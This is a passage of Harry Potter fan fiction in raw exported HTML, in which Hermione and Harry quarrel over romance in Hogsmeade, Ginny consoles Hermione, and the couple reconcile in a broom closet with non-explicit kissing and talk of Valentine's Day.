mid-section.&nbsp; &#8220;I\nhappen to think you&#8217;re perfect just as you are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsmiled again.&nbsp; Harry could be awfully\nsweet when he wanted to be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So,\nare you going to tell me what&#8217;s bothering you?&#8221;&nbsp; Harry asked, turning her in his arms so that she was now facing\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nlooked up into a pair of dazzling green eyes framed by oh so long dark\nlashes.&nbsp; Eyes that she knew so well\nafter all these years, and that knew her equally well in return.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\nwould you think that something is bothering me?&#8221;&nbsp; She asked evasively, looking over his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nplaced a long, calloused finger under her chin, and raised her face up to\nhis.&nbsp; &#8220;Hermione, I *know* you, just as\nyou know me.&nbsp; We probably know each\nother better than anyone else knows either one of us; so don&#8217;t think that you\ncan hide anything from me.&nbsp; What gives?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\nheart ached in that moment.&nbsp; The young\nman standing before her was right.&nbsp; He\n*did* know her better than anyone.&nbsp; That\nis what came of four and a half years of friendship and two years of being\nsignificant others.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An\nemotional battle was waging between her heart and her head.&nbsp; It just wasn&#8217;t like her *not* to speak her\nmind about something, but on the other hand, she knew that what she had to tell\nHarry would more than likely upset him.&nbsp;\nShe hated arguing with him more than anything, but she also intensely disliked\nbeing less than honest.&nbsp; In the end, her\nhead won out over her heart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nnothing&#8230; it&#8217;s just&#8230; well Valentine&#8217;s Day is soon&#8230; and we did have our first\ndate on that day two years ago.&#8221;&nbsp; She\ntook a deep breath and continued.&nbsp; &#8220;I\nguess that I was just hoping for a romantic Valentine&#8217;s Day this year&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nfixed his green eyes on her and Hermione instantly wished that she hadn&#8217;t said\nanything.&nbsp; She could tell from the look\nin his eyes that she had just struck a nerve with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nbacked away from her and threw his hands up in the air.&nbsp; &#8220;So,&#8221; he said, &#8220;I guess what you&#8217;re saying\nis that I&#8217;m not romantic?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,\nplease,&#8221; she softly pleaded as she cast furtive looks up and down the\nstreet.&nbsp; This was an official Hogsmeade\nSaturday; so many of their fellow classmates were thronging the streets of the\nmagical village.&nbsp; The last thing she\nwanted to do was to cause a scene.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nword &#8216;stupid&#8217; was echoing very loudly in her head.&nbsp; When would she learn not to be so forthright with her\nthoughts?&nbsp; She could just tell by the\nway that Harry&#8217;s eyes were blazing that this wasn&#8217;t going to go well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ntried to reach for his hand, only to have him take a step further back from\nher.&nbsp; &#8220;Harry, that&#8217;s not what I meant,\nnot really.&nbsp; I love you&#8230; you know that.&nbsp; Let&#8217;s just go back to school and find some\nplace private to discuss this, okay?&#8221;&nbsp;\nShe truly did not want to have this argument with him and once again\nmentally chastised herself for having ever brought it up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s\nbrown eyes were brimming over with unshed tears, and Harry almost felt himself\ncave in.&nbsp; If there was one thing he\ncouldn&#8217;t stand, it was to see a girl cry, especially *his* girl.&nbsp; But, dammit, she had just insulted him by\ninsinuating that he wasn&#8217;t romantic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nhad found his patience with his girlfriend sorely tested as of late.&nbsp; He would never dream of pushing her to do\nsomething that she wasn&#8217;t ready for, but for Merlin&#8217;s sake, there were only so\nmany cold showers that one could take after a hot and heavy snogging\nsession.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nheld up a hand as a means of warding her off.&nbsp;\n&#8220;Just don&#8217;t, Hermione, okay?&nbsp;\nLet&#8217;s just go our separate ways and spend the rest of the day\napart.&nbsp; I think we each need to take a\nbit of a breather before one of us says something that we can&#8217;t take back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With\nthat, he turned on his heel and walked away from her, his robes swirling around\nhim.&nbsp; He strode off in the general\ndirection of the Three Broomsticks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For\nher part, Hermione remained rooted to her spot in front of Honeydukes&#8217; window,\ntrying really hard not to cry. &nbsp;She\nwiped her face with the sleeve of her robe and inhaled deeply in an attempt to\ngain some composure.&nbsp; When her tears had\nbeen reduced to a large, uncomfortable lump in her throat, she took off in the\nopposite direction of where Harry had gone.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">What\nwas supposed to have been a day of fun and frolicking in the town of Hogsmeade\nhad been ruined as far as she was concerned.&nbsp;\nAll she really wanted now was to return to her room at Hogwarts.&nbsp; It was still early enough in the day that\nshe would probably have the dorm room to herself, at least until early evening,\nwhich was usually when the students started returning.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;&gt;&lt;&gt;&lt;&gt;&lt;&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny\nWeasley entered the dorm room with her face flushed and her robes in\ndisarray.&nbsp; She had come back from the\nouting to Hogsmeade early at the persuasion of her boyfriend, Draco\nMalfoy.&nbsp; Draco never missed out on an\nopportunity to have a good snog.&nbsp; And,\ntruth be known, he hadn&#8217;t had to persuade Ginny *all* that much.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Upon\nentering the room, she was surprised to hear the sound of someone sobbing\nsoftly.&nbsp; Her eyes flitting around the\nroom, she quickly determined that there was a crumpled figure on Hermione&#8217;s\nbed.&nbsp; *Oh, Hecate!&nbsp; She must have had another argument with\nHarry!*&nbsp; As a close friend of both\nHermione and Harry, she knew that the couple had had troubles of late.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nsmiled for a moment when she thought of her close friendship with Harry.&nbsp; It was rather ironic when one stopped to\nconsider that Ginny had had the most awful crush on him during her first year\nat Hogwarts.&nbsp; That had all changed,\nthough, at the end of her first year when Harry had saved her life from Tom\nRiddle and the basilisk.&nbsp; From that time\non, they&#8217;d become friends, and she knew that Harry probably confided things in\nher that he didn&#8217;t even tell Ron about.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Making\nher way quietly over to Hermione&#8217;s bed, Ginny perched on the edge of the\nmattress and reached out a hand to stroke the other girl&#8217;s hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want\nto talk about it?&#8221;&nbsp; She softly asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nrolled over to look at Ginny.&nbsp; Her eyes\nwere red and puffy from what Ginny surmised was hours of crying and she had a\nlook of abject misery on her tear-streaked face.&nbsp; She sat up, pulling her legs beneath her, and placed her hands in\nher lap.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry\nand I&#8230;&#8221; she began before she was forced to stop due to another sob that was\nthreatening to rise up in her throat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny\nreached over and took one of Hermione&#8217;s hands in her own, squeezing it gently\nin reassurance.&nbsp; &#8220;You and Harry had a\nfight, am I right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nnodded and sniffed as she fought back the urge to start crying again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\ndear,&#8221; the red head replied.&nbsp; &#8220;May I ask\nwhat it was about this time?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\naccused him of not being very romantic,&#8221; she confessed with a sniffle.&nbsp; &#8220;I didn&#8217;t *want* to, but he found me looking\nin the window of Honeydukes and he could sense that something was wrong with\nme.</p>\n\n<p class="MsoNormal">He\nasked me what it was, and you know me, if I&#8217;m asked, I usually tell.&nbsp; And, I don&#8217;t think that I was all together\nwrong in what I said to him &#8211; he could stand to improve some in the romance\ndepartment.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ntook a breath before continuing.&nbsp; &#8220;But,\non the other hand, I know that there are things that Harry would like from me\nthat I&#8217;m not giving him.&nbsp; Maybe we&#8217;ve\nreached an impasse in our relationship&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny\ncouldn&#8217;t help but smile.&nbsp; She had always\nbeen amazed at the other girl&#8217;s ability to coherently ramble.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nknow,&#8221; she said, &#8220;you shouldn&#8217;t feel like you have to do anything with Harry\nthat you aren&#8217;t ready for.&nbsp; He isn&#8217;t\ntrying to force you, is he?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nshook her head rather vehemently.&nbsp; &#8220;Oh,\nno! &nbsp;Harry would never do that!&nbsp; He hasn&#8217;t even said anything about it,\nreally, but I can just tell, you know?&nbsp;\nAnd, I want to do it, too, at least sometimes I do, but I also want it\nto be right and beautiful and perfect.&nbsp;\nI probably sound really stupid, don&#8217;t I?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nred head smiled again and patted the other girl&#8217;s hand.&nbsp; &#8220;You could *never* sound stupid, my dear\nfriend, not in a million years.&nbsp; It\nsimply isn&#8217;t in your nature.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have\nyou and Draco?&nbsp; I mean, it&#8217;s probably\nnone of my business, but have you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Actually,\nwe haven&#8217;t,&#8221; Ginny replied.&nbsp; &#8220;We&#8217;ve done\nlots of other stuff and we&#8217;ve come close a few times, but Draco respects me and\nhe also respects my need to wait.&nbsp; So,\nsee, you aren&#8217;t the only girl in school who hasn&#8217;t done it, nor are you the\nonly one who wants their first time to be special.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\nfor telling me that, Ginny,&#8221; Hermione said softly.&nbsp; &#8220;I still have the problem of Harry being mad at me, though.&nbsp; I think that he thinks that I think that he\nisn&#8217;t romantic enough.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\ndo you?&nbsp; Think that, I mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nshook her head rather vehemently.&nbsp; &#8220;Yes,\nyes I do!&nbsp; And what&#8217;s wrong with that?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\na thing,&#8221; Ginny said.&nbsp; &#8220;You just leave\nMr. Potter to me, okay?&nbsp; I guarantee you\nthat you will have the best Valentine&#8217;s Day ever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\nGinny, thank you!&nbsp; You are simply too\ngood of a friend sometimes.&#8221;&nbsp; She leaned\nover and hugged the other girl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now,\nhow&#8217;s about we get you washed up, and then head down to the Great Hall for\ndinner?&nbsp; I heard that they are serving\nYorkshire pudding tonight and I know it&#8217;s your favorite.&#8221;&nbsp; Ginny stood up and held out a hand to\nHermione.&nbsp; &#8220;Come on, it will be a chance\nfor you to make up with Harry.&nbsp; If\nthere&#8217;s one thing I&#8217;ve learned from having six brothers, it&#8217;s that boys rarely\nmiss a meal, even when they&#8217;re mad.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nnodded as she got to her feet.&nbsp; &#8220;I guess\nI should try to find Harry and apologize to him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nmy girl,&#8221; Ginny replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;&gt;&lt;&gt;&lt;&gt;&lt;&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\ncome on Harry!&nbsp; They are serving\nYorkshire pudding tonight and you know it&#8217;s one of your favorites.&nbsp; You don&#8217;t want to miss out on it, do\nyou?&#8221;&nbsp; Ron asked as they entered the\nmain hall of Hogwarts together, fresh from their return from Hogsmeade.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\njust don&#8217;t think I want to run into Hermione right now,&#8221; Harry replied glumly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nyou have to see her sooner or later,&#8221; Ron said.&nbsp; &#8220;You can&#8217;t exactly avoid a person when you have classes with them\n*and* you&#8217;re in the same house.&nbsp;\nBesides, the two of you just had a tiff &#8211; it&#8217;s not as if you broke up or\nanything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsmiled a little.&nbsp; This particular best\nfriend of his had a knack for breaking complex situations down into more easily\ndigestible parts.&nbsp; It was one of the\nthings that he loved about him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An\nall too familiar voice to the left of them suddenly spoke.&nbsp; &#8220;What&#8217;s the matter, Potter?&nbsp; Girl trouble again?&#8221;&nbsp; Draco Malfoy had his usual leer on his face\nas he rubbed the fingernails of one hand against his robe, as if to polish\nthem, before bringing the hand to his face to examine the nails.&nbsp; &#8220;I guess we weren&#8217;t all born gifted with the\nladies.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\nyou&#8217;re a fine one to talk, Malfoy!&#8221;&nbsp; Ron\nexclaimed.&nbsp; &#8220;The whole school knows that\nyou&#8217;re wrapped around my little sister&#8217;s finger, so don&#8217;t even stand there and\nact like you&#8217;re some big Casanova.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nleer on Draco&#8217;s face disappeared, only to be replaced with a self-satisfied\nsmirk.&nbsp; &#8220;Well, at least *I* don&#8217;t have\nany problems keeping *my* girl happy,&#8221; he said.&nbsp; &#8220;Maybe you should take some lessons from me, Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwould, if I thought that you actually could teach me anything,&#8221; Harry retorted,\nalthough not all together rudely.&nbsp; Draco\nhad become much more tolerable to be around since he&#8217;d began dating Ginny\nWeasley.&nbsp; One might even go so far as to\nsay that the blonde was *almost* likeable now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait,\nisn&#8217;t that my sister coming our way, now?&#8221;&nbsp;\nRon asked before quickly turning with Harry to head in the direction of\nthe Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco\nturned to look behind him, only to realize that the hall was empty and that\nhe&#8217;d been tricked.&nbsp; Where he once would\nhave sneered or said something really ugly, instead he just followed behind the\nother two boys.&nbsp; It was amazing what\nlove could do to a person really.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;&gt;&lt;&gt;&lt;&gt;&lt;&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nentered the Great Hall with more than a little apprehension.&nbsp; A quick glance over at the Gryffindor table\ntold her that Harry was already there, seated next to Ron.&nbsp; The two of them appeared to be laughing over\nsomething that Fred and George were saying, so she took that as an encouraging\nsign &#8211; if Harry was laughing at something, then he probably wasn&#8217;t *too* angry\nanymore.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Inhaling\ndeeply and letting her breath out slowly, she made her way over to her house&#8217;s\ntable and took an empty seat across from Harry.&nbsp; She managed to capture his gaze with her own and quickly mouthed\nthe words, &#8216;I&#8217;m sorry&#8217;.&nbsp; He acknowledged\nher apology with a nod and mouthed back, &#8216;later&#8217;.&nbsp; She gave him a quick smile, and then busied herself with serving\nher plate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;&gt;&lt;&gt;&lt;&gt;&lt;&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After\nwhat seemed an eternity to Hermione, dinner was over, and Harry stood up from\nthe table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nthink I&#8217;ll head back to the common room,&#8221; he announced to the table in\ngeneral.&nbsp; &#8220;Want to walk back with me,\nHermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nstood up, faking a yawn.&nbsp; &#8220;Yes, I think\nI will,&#8221; she said.&nbsp; &#8220;I&#8217;m rather tired\nfrom the trip to Hogsmeade today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ntwo of them made a hasty retreat from the dining room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t know who they think they are fooling,&#8221; Ron smirked.&nbsp; &#8220;They are headed to the nearest available\nbroom closet to make up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nsay that like it&#8217;s a *bad* thing, Weasley,&#8221; replied Malfoy, who had suddenly\nappeared at the Gryffindor table.&nbsp; &#8220;Of\ncourse, that could very well be because you&#8217;ve never had make-up snog.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron&#8217;s\nface turned almost as red as his hair and he stammered, &#8220;I&#8217;ve had plenty of\nsnogging, Malfoy, thank you very much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whatever\nyou say, Weasley,&#8221; Draco lazily drawled.&nbsp;\nTurning his attention to his girlfriend, he asked,&nbsp; &#8220;Ginny, dear, would you care to take a\nmoonlight stroll with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d\nlove to,&#8221; she replied, standing up to take his hand.&nbsp; &#8220;Goodnight, everyone,&#8221; she called over her shoulder as she left\nthe room with Malfoy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\n*still* don&#8217;t get what she sees in him!&#8221;&nbsp;\nRon complained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Love\nis blind, Ron,&#8221; replied Seamus Finnegan, &#8220;or so they say.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah,\nthat must be it,&#8221; Ron agreed as he watched his sister disappear with\nMalfoy.&nbsp; &#8220;I&#8217;d still like to think that\nhe&#8217;s cast a spell on her, though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seamus\nand Dean laughed.&nbsp; &#8220;You just keep\ntelling yourself that, Ron, ol&#8217; boy, and maybe one day you&#8217;ll actually believe\nit!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;&gt;&lt;&gt;&lt;&gt;&lt;&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After\nleaving the dining room together, Harry had reached for Hermione&#8217;s hand and she\nhad gladly laced her fingers through his and gently squeezed his hand.&nbsp; He hadn&#8217;t said anything, though, and she had\njust followed along behind him in comfortable silence.&nbsp; Finally, he had come to a stop before a\nclosed door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s\ntry this one,&#8221; Harry said, gesturing to a broom closet on his right.&nbsp; Hermione was behind him, holding one of his\nhands.&nbsp; With his free hand, he turned\nthe doorknob and entered the closet.&nbsp;\nReleasing Hermione&#8217;s hand, he extracted his wand from his robe and said,\n&#8220;Lumos.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nlight coming from the tip of his wand showed that the closet was indeed\nempty.&nbsp; Spotting the light switch on the\nwall behind him, he reached over and turned it on.&nbsp; A single light bulb in a fixture in the ceiling cast a pale\nillumination, but it would do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After\nreplacing his wand somewhere inside of his robes, Harry leaned back against a\nwall and crossed his arms over his chest, fixing his gaze on Hermione.&nbsp; &#8220;C&#8217;mere,&#8221; he said to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ncrossed the room and went to him without the slightest hesitation.&nbsp; This was Harry, after all, *her* Harry, the\nBoy Who Had Lived, as well as the boy that she loved.&nbsp; Only, he wasn&#8217;t a boy anymore, not really.&nbsp; Even though she could still see traces of\nthe boy he had been at the age of eleven, before her stood a handsome,\nconfident, and intelligent young man who was also caring, compassionate, and\nsensitive.&nbsp; Gone also was the gawky,\nskinny eleven-year-old boy who&#8217;d been all knees and elbows, and in his place\nstood a lean, muscular, and well put together young man.&nbsp; In that moment, she knew that she wanted to\nmake love with him &#8211; not right then and there, of course, but sometime really\nsoon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When\nshe reached Harry, he pulled her into his arms, wrapping them around her, and\nproceeded to capture her mouth with his.&nbsp;\nThe kiss was gentle at first, but soon grew more passionate.&nbsp; She twined her arms around his neck and her\nfingers found their way to the hair at the nape of his neck.&nbsp; The feel of Harry&#8217;s hair never ceased being\na sensory delight for her fingertips for it was so thick and unbelievably soft,\nand she loved running her fingers through it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After\nseveral long moments, Harry&#8217;s mouth released its hold on hers, and he leaned\nback against the wall once more, his breathing ever so slightly erratic.&nbsp; She was still wrapped in his embrace, though,\nand she brought one of her hands around from to back of his neck in order to\ntrace his jaw line with her fingers.&nbsp; He\nwas so very familiar to her, yet she always managed to find something new about\nhim each time they were together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221;\nshe said softly, as she looked up into his eyes, her fingers still tracing\npatterns along his jaw, &#8220;I&#8217;m sorry about earlier today &#8211; not so much for what I\nsaid, mind you, as for the way I allowed it to come out.&nbsp; I could have found a better way to broach\nthe subject with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nsmiled at her, for he loved the young woman standing before him.&nbsp; The apology she&#8217;d just offered him was so\nvery &#8216;Hermione&#8217;, yet he wouldn&#8217;t have her any other way.&nbsp; Her stubbornness, as well as her straight\nforwardness, was two of the things he admired in her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsorry, too, Hermione, for not being as romantic as you&#8217;d like me to be.&nbsp; Guys just don&#8217;t think about that stuff as\nmuch as girls do, I suppose, so we need reminders every now and again -\n*gentle* reminders,&#8221; he softly chided.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">One\narm released its hold on her so that he could reach inside his robe once\nmore.&nbsp; This time he extracted a\nheart-shaped red foil package.&nbsp; &#8220;I got\nthis for you today &#8211; after our fight,&#8221; he said, handing it to her.&nbsp; &#8220;I know it&#8217;s not much, but I hope you like it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nlet out a very uncharacteristic squeal as she accepted the package from\nhim.&nbsp; Opening one small corner of the\nheart revealed to her that it contained chocolate inside.&nbsp; &#8220;You didn&#8217;t have to do this, Harry, but\nthank you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nfilled with strawberry cream,&#8221; he said.&nbsp;\n&#8220;I know that strawberry cream filled milk chocolate is one of your\nfavorite treats from Honeydukes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It\nwas Hermione&#8217;s turn to smile, for he *did* know her so very well.&nbsp; She safely placed the chocolate in a pocket\nof her robe, and then winding her arms back around his neck, she brought her\nmouth to his, kissing him softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nreleased his lips and proceeded to kiss a trail from the corner of his mouth\nall the way up to one of his ears.&nbsp;\nStanding on tiptoe, she grazed his earlobe with her lips before\nwhispering, &#8220;I&#8217;ve got a present for you, too, Harry.&nbsp; I want to make love with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nswallowed hard in an attempt to gain a modicum of composure, which wasn&#8217;t an\neasy thing to do given the situation he currently found himself in.&nbsp; &#8220;Right now?&#8221;&nbsp; He asked, his voice coming out in an undignified squeak.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ncouldn&#8217;t help but laugh.&nbsp; &#8220;Not right\nnow, silly,&#8221; she said.&nbsp; &#8220;Soon,&#8221; she\npromised.&nbsp; &#8220;I was thinking perhaps\nValentine&#8217;s night?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou sure?&#8221;&nbsp; He asked as his eyes searched\nhers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nnodded.&nbsp; &#8220;As sure as I&#8217;ve ever been\nabout anything.&nbsp; I love you, Harry\nPotter, and I want to make love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nI promise you that I&#8217;ll do my best to make it a very romantic night &#8211; a night\nthat we&#8217;ll always remember.&#8221;&nbsp; Cupping\nher chin in one hand, he said, &#8220;I love you, too, Hermione Granger, and it will\nbe an honor to make love to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nmoved forward and rested her head on his shoulder, content at the moment just\nto be held by him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For\nhis part, Harry was surprised to find himself equally satisfied at just having\nher in his embrace.&nbsp; After awhile,\nthough, he stole a glance at his wristwatch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\ngetting late, Hermione,&#8221; he informed her.&nbsp;\n&#8220;We should probably head back to the common room before we get caught by\na teacher or one of the prefects.&nbsp; I\nwouldn&#8217;t want us to get detention because with my luck I&#8217;d have to perform mine\non Valentine&#8217;s Day.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nlaughed softly, but nodded her head in agreement.&nbsp; They left the broom closet hand-in-hand, happy and in love.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To\n(possibly) Be Continued</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 